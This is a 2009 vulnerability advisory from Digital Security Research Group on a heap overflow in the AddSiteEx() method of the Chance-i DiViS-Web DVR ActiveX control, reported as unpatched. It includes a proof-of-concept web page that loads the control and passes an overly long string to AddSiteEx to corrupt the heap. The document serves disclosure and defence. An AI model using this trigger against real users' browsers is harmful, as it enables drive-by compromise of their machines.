Chance-i DiViS-Web DVR System Active-X Control

`Digital Security Research Group [DSecRG] Advisory #DSECRG-09-035  
  
original advisory: http://dsecrg.com/pages/vul/DSECRG-09-035.html  
  
  
Application: Chance-i DiViS-Web DVR System ActiveX control  
Versions Affected: 3,0,0,7  
Vendor URL: http://www.chance-i.com/  
Bug: Heap Overflow  
Exploits: YES  
Reported: 13.03.2009  
Second Reported: 20.03.2009  
Solution: NONE   
Date of Public Advisory: 09.04.2009  
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)  
  
  
  
Description  
***********  
  
DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.  
  
  
  
Details  
*******  
  
Heap overflow vulnerability found in AddSiteEx() function.  
  
There is an exploitable heap overflow vulnerability in DVR's ActiveX   
control (ActiveView.cab).   
  
If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.   
  
The problem arises by passing an overly long string to the AddSiteEx   
method of the control.   
  
PoC:  
  
<OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">  
<PARAM NAME="_Version" VALUE="65536">  
<PARAM NAME="_ExtentX" VALUE="18203">  
<PARAM NAME="_ExtentY" VALUE="13705">  
<PARAM NAME="_StockProps" VALUE="0">  
<PARAM NAME="Split" VALUE="4">  
</OBJECT>  
  
//server address  
var g_sAddress = location.hostname;  
var g_sId = "";  
var g_sPwd = "";  
var g_bLogin = false;  
var g_nMaxCamera = 16;  
  
// Port setting  
var g_nImage = 3000;  
var g_nControl = 3001;  
var g_nSound = 8800;  
  
var long_buff = "alexsint";  
  
while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers  
  
DVR.Channels = 1;   
  
DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll  
  
  
  
Solution  
********  
  
We did not get any response from vendor for more than 2 weeks.  
No patches aviable.   
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.   
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com  
http://www.dsec.ru  
  
Regards,  
Digital Security Research Group [DSecRG]  
________________________________________  
DIGITAL SECURITY  
tel/fax: +7(812)703-1547  
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e-mail: [email protected]  
web: www.dsecrg.com  
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